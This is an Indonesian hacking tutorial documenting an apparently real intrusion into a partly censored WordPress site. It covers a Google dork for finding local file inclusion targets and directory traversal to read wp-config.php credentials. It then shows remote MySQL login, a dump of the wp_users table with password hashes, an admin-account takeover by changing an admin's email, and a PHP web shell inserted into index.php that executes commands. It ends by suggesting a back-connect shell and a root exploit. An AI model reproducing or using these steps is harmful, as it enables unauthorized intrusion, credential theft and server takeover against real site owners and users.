Pada tutorial kali ini, kita akan berkenalan dengan yang namanya local file
inclusion yang kurang lebih artinya adalah kondisi dimana kita bisa membaca
atau mengambil file yang ada di server berdasarkan permission yang dimiliki.
Secara sedrhana, kita bisa mencari LFI menggunakan google dork seperi ini:
-------------------------------------------------------------------------------

inurl:"download.php?file="

-------------------------------------------------------------------------------
Karena tutorial sifatnya hanya sebagai pengantar saja, maka saya hanya men-
jelaskan dasar-dasarnya saja. Silakan dikembangkan sendiri untuk eksploitasi
yang lebih lanjut, misalnya hingga mendapatkan akses root menggunakan local
root exploit. Oke, langsung saja, berikut ini adalah contoh situs target yang
rentan terhadap LFI:
-------------------------------------------------------------------------------

http://www.*******.***/en/download.php?file=

-------------------------------------------------------------------------------
Pertama kita akan mencari letak dari root direktori webnya dimana kita bisa
mendapatkan dokumen "index.php" menggunakan direktori traversal:
-------------------------------------------------------------------------------

$ curl -s 'http://www.*******.***/en/download.php?file=index.php'
$ curl -s 'http://www.*******.***/en/download.php?file=../index.php'
<?php
// Silence is golden.
?>
$ curl -s 'http://www.*******.***/en/download.php?file=../../index.php'
<?php
//enable gzip
ob_start("ob_gzhandler");
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?>

-------------------------------------------------------------------------------
Nah, sekarang kita sudah menemukan indexnya. Kita perlu melakukan traversal se-
banyak 2 kali untuk sampai ke document root webnya. Dari file indexnya kita bi-
sa mendapatkan informasi bahwa situsnya menggunakan wordpress, berarti konfigu-
rasi koneksi ke databasenya bisa dilihat pada file "wp-config.php"
-------------------------------------------------------------------------------

$ curl -s 'http://www.*******.***/en/download.php?file=../../wp-config.php'
<?php

//--snip--

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('WP_CACHE', true); //Added by WP-Cache Manager
define('DB_NAME', '**************');

/** MySQL database username */
define('DB_USER', '************');

/** MySQL database password */
define('DB_PASSWORD', '********');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

//--snip--


-------------------------------------------------------------------------------
Dari file "wp-config.php" tersebut, kita bisa mendapatkan informasi user dan
password serta nama dari database yang digunakan. Selanjutnya, kita akan me-
lakukan scanning ke port 3306 yang umum digunakan oleh service MySQL untuk
memeriksa apakah portnya terbuka.
-------------------------------------------------------------------------------

$ nmap -Pn -p 3306 www.*******.***

Starting Nmap 5.51.5 ( http://nmap.org ) at 2011-12-02 23:14 WIT
Nmap scan report for www.*******.*** (110.4.45.176)
Host is up (0.024s latency).
rDNS record for 110.4.45.176: *********.**********.***
PORT STATE SERVICE
3306/tcp open mysql

Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds

-------------------------------------------------------------------------------
Ternyata portnya terbuka untuk umum. Kita akan mencoba melakukan koneksi ke da-
tabasenya menggunakan username dan password yang terdapat pada file "wp-config"
yang kita peroleh pada langkah sebelumnya.
-------------------------------------------------------------------------------

$ mysql -C -A --host=www.*******.*** --user=************ --password=********
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 53370756
Server version: 5.0.92-community MySQL Community Edition (GPL)

Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved.
This software comes with ABSOLUTELY NO WARRANTY. This is free software,
and you are welcome to modify and redistribute it under the GPL v2 license

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

-------------------------------------------------------------------------------
Kali ini kita beruntung, kita bisa melakukan koneksi dari luar menggunakan user
name dan password tadi. Langkah selanjutnya adalah memeriksa apa saja database
yang bisa kita akses
-------------------------------------------------------------------------------

mysql> show databases;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id: 53371955
Current database: *** NONE ***

+--------------------+
| Database |
+--------------------+
| information_schema |
| ************** |
| ************** |
| ************** |
| ************** |
| ************ |
| ************ |
| ************** |
| ************ |
| ************ |
| ************ |
| ************ |
+--------------------+
12 rows in set (0.26 sec)

-------------------------------------------------------------------------------
Kita bisa mengakses beberapa database. Coba kita pilih salah satu dan melihat
apa saja tabel yang ada pada database yang kita pilih tersebut.
-------------------------------------------------------------------------------

mysql> use **************;
Database changed
mysql> show tables;
+-----------------------------+
| Tables_in_************** |
+-----------------------------+
| tblClicks |
| wp_centremeta |
| wp_commentmeta |

--// snip //--

| wp_usermeta |
| wp_users |
| wp_yarpp_keyword_cache |
| wp_yarpp_related_cache |
+-----------------------------+
37 rows in set (0.03 sec)

-------------------------------------------------------------------------------
Sasaran berikutnya adalah tabel "wp_users" yang menyimpan informasi login user
yang ada di situs korban. Mari kita enumerasi perlahan biar tidak mencurigakan.
-------------------------------------------------------------------------------

mysql> describe wp_users;
+---------------------+---------------------+------+-----+---------------------+----------------+
| Field | Type | Null | Key | Default | Extra |
+---------------------+---------------------+------+-----+---------------------+----------------+
| ID | bigint(20) unsigned | NO | PRI | NULL | auto_increment |
| user_login | varchar(60) | NO | MUL | | |
| user_pass | varchar(64) | NO | | | |
| user_nicename | varchar(50) | NO | MUL | | |
| user_email | varchar(100) | NO | | | |
| user_url | varchar(100) | NO | | | |
| user_registered | datetime | NO | | 0000-00-00 00:00:00 | |
| user_activation_key | varchar(60) | NO | | | |
| user_status | int(11) | NO | | 0 | |
| display_name | varchar(250) | NO | | | |
+---------------------+---------------------+------+-----+---------------------+----------------+
10 rows in set (0.03 sec)

mysql> select count(*) from wp_users;
+----------+
| count(*) |
+----------+
| 10 |
+----------+
1 row in set (0.02 sec)

mysql> select user_login, user_pass, user_email from wp_users;
+--------------+------------------------------------+-------------------------------------+
| user_login | user_pass | user_email |
+--------------+------------------------------------+-------------------------------------+
| admin | $P$B252Tg0ycfGseWL2muqsN4YJJcdKlz1 | info@*******.*** |
| ******** | $P$BD3kwIwHvq759PXIZGpWtXEoy9tzYs0 | *******.********@**************.*** |
| **** | $P$B4zZhrrfWVDZG9kHqfEjg5RvXBoVtc/ | ****.****@***********.com |
| ****** | $P$BADMy4rrWYJqJkXBG/5nMw9UkNLcLg1 | ******.****@**************.com |
| *****.***** | $P$Bs6j8LOb5srZG66fA2jZM5NDLdtm7s0 | *****.*****@**************.com |
| ****.**** | $P$BQ1Drqyk8vgqWUQrxiFqrd2a3tZIZv. | ****.******@**************.com |
| *******.**** | $P$Bx6PCPONVUK0ATqMOKBClAq6HZVUsJ. | ********@*******.*** |
| ******* | $P$BKQi5YLQoKCNPhPnoQn3EcPDSZoUqt. | **.*******@*****.com |
| ****.**** | $P$BuzEJ7saFcPYLYeNl1k4jgvGBgMLwD/ | ****.****@*******.*** |
| ******.***** | $P$BQWl6o8iHdaNPuQydDyblER.tHpf1Z. | ******.*****@**************.com |
+--------------+------------------------------------+-------------------------------------+
10 rows in set (0.14 sec)

mysql> quit;
Bye
$
$ ##### nah, sekarang kita bisa men-dump databasenya menggunakan mysqldump
$
$ mysqldump -v -q --compact --compress --host=www.*******.*** --user=************ --password=******** ************** wp_users > ******_wp_users.sql
-- Connecting to www.*******.***...
-- Retrieving table structure for table wp_users...
-- Sending SELECT query...
-- Retrieving rows...
-- Disconnecting from www.*******.***...
$
$ ##### pada perintah di atas, kita hanya mengambil tabel "wp_users" pada database "**************"
$
$ ##### selanjutnya kita akan mencoba dua buah fungsi mysql untuk membaca dan menulis file
$
$ mysql -C -A --host=www.*******.*** --user=************ --password=********
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 53377182
Server version: 5.0.92-community MySQL Community Edition (GPL)

Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved.
This software comes with ABSOLUTELY NO WARRANTY. This is free software,
and you are welcome to modify and redistribute it under the GPL v2 license

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> select load_file('/etc/passwd');
+--------------------------+
| load_file('/etc/passwd') |
+--------------------------+
| NULL |
+--------------------------+
1 row in set (0.03 sec)

mysql> select 'test' into outfile '/tmp/chk';
ERROR 1045 (28000): Access denied for user '************'@'%' (using password: YES)
mysql>
mysql> quit;
Bye
$

-------------------------------------------------------------------------------
Ternyata kita tidak bisa menulis dan membaca file karena ada batasan permission
dari servernya. Oke, kita akan menggunakan skenario berikut ini untuk masuk ke
admin panel wordpress pada situs korban:

1. ganti alamat email salah satu user yang merupakan administrator.
2. buka halaman login wordpressnya (alamat_situs_korban/wp-admin)
3. gunakan fitur forget password
4. verifikasi email yang dikirim
5. login dengan password baru
6. kembalikan alamat email yang diubah pada langkah no 1

setelah login, kita bisa mengakses fitur upload yang bisa kita gunakan untuk
mengupload php shell. tapi pada tutorial kali ini, kita tidak akan menggunakan
fitur tersebut, melainkan menggunakan fitur yang ada di admin panel situsnya
yaitu edit source. kita akan mengedit file "index.php" nya sehingga jika kita
menambahkan parameter tertentu, maka file indexnya akan mengeksekusi perintah
yang kita berikan. berikut ini adalah snippet kode awal pada file "index.php"
-------------------------------------------------------------------------------

<?php
/* Short and sweet */
define('WP_USE_THEMES', true);
require('./wp-blog-header.php');
?>

-------------------------------------------------------------------------------
dan berikut ini adalah file "index.php" setelah kita menyisipkan kode yang di
comot dari php shell r57:
-------------------------------------------------------------------------------

<?php
$cfe = $_GET['c'];
if (!empty($cfe))
{
if(@function_exists('exec'))
{
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(@function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(@function_exists('system')) {
@ob_start();
@system('$cfe');
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
echo "<pre>\n".htmlspecialchars($res)."</pre>\n";
exit();
}

/* Short and sweet */
define('WP_USE_THEMES', true);
require('./wp-blog-header.php');
?>

-------------------------------------------------------------------------------
setelah menambahkan beberapa baris di atas, kita bisa memberikan perintah me-
lalui parameter seperti berikut ini:

http://*******.*******.***/index.php?c=ls%20-la

dan hasilnya seperti ini:
-------------------------------------------------------------------------------

total 200
drwxr-x--- 7 ****** nobody 4096 Dec 2 14:26 .
drwxr-x--- 37 ****** nobody 4096 Nov 10 17:13 ..
-rw------- 1 ****** ****** 13 Nov 27 04:45 .ftpquota
-rw-r--r-- 1 ****** ****** 430 Aug 27 2010 .htaccess
drwxr-xr-x 2 ****** ****** 4096 May 8 2007 MM_CASETEST4291
drwxr-xr-x 2 ****** ****** 4096 May 7 2007 cgi-bin
-rw-r--r-- 1 ****** ****** 1924 Dec 2 13:03 error_log
-rw------- 1 ****** ****** 641 Dec 2 13:21 index.php
-rw-r--r-- 1 ****** ****** 15127 May 8 2007 license.txt
-rw-r--r-- 1 ****** ****** 7711 May 8 2007 readme.html
drwxr-xr-x 4 ****** ****** 4096 Jul 5 2007 wp-admin
-rw------- 1 ****** ****** 1914 May 8 2007 wp-atom.php
-rw------- 1 ****** ****** 865 May 8 2007 wp-blog-header.php
-rw------- 1 ****** ****** 2729 May 8 2007 wp-comments-post.php
-rw------- 1 ****** ****** 3689 May 8 2007 wp-commentsrss2.php
-rw------- 1 ****** ****** 895 May 8 2007 wp-config.php
drwxr-xr-x 5 ****** ****** 4096 Mar 13 2008 wp-content
-rw------- 1 ****** ****** 855 May 8 2007 wp-cron.php
-rw------- 1 ****** ****** 120 May 8 2007 wp-feed.php
drwxr-xr-x 4 ****** ****** 4096 May 8 2007 wp-includes
-rw------- 1 ****** ****** 1395 May 8 2007 wp-links-opml.php
-rw------- 1 ****** ****** 15891 May 8 2007 wp-login.php
-rw------- 1 ****** ****** 5090 May 8 2007 wp-mail.php
-rw------- 1 ****** ****** 291 May 8 2007 wp-pass.php
-rw------- 1 ****** ****** 2229 May 8 2007 wp-rdf.php
-rw------- 1 ****** ****** 251 May 8 2007 wp-register.php
-rw------- 1 ****** ****** 1240 May 8 2007 wp-rss.php
-rw------- 1 ****** ****** 2041 May 8 2007 wp-rss2.php
-rw------- 1 ****** ****** 9461 May 8 2007 wp-settings.php
-rw------- 1 ****** ****** 3537 May 8 2007 wp-trackback.php
-rw------- 1 ****** ****** 39039 May 8 2007 xmlrpc.php

-------------------------------------------------------------------------------
selanjutnya tinggal mengembangkan apa yang kita peroleh tersebut. misalnya
melakukan back connect lalu dari sana mencoba melakukan eksploitasi lokal
menggunakan local root exploit.

sekian tutorial kali ini. semoga bermanfaat :)
-------------------------------------------------------------------------------



https://fbcdn-photos-a.akamaihd.net/hphotos-ak-ash4/384902_109532092497046_100003207662504_54898_1667459373_n.jpg



https://fbcdn-photos-a.akamaihd.net/hphotos-ak-snc7/384825_109539722496283_100003207662504_54928_1217640632_n.jpg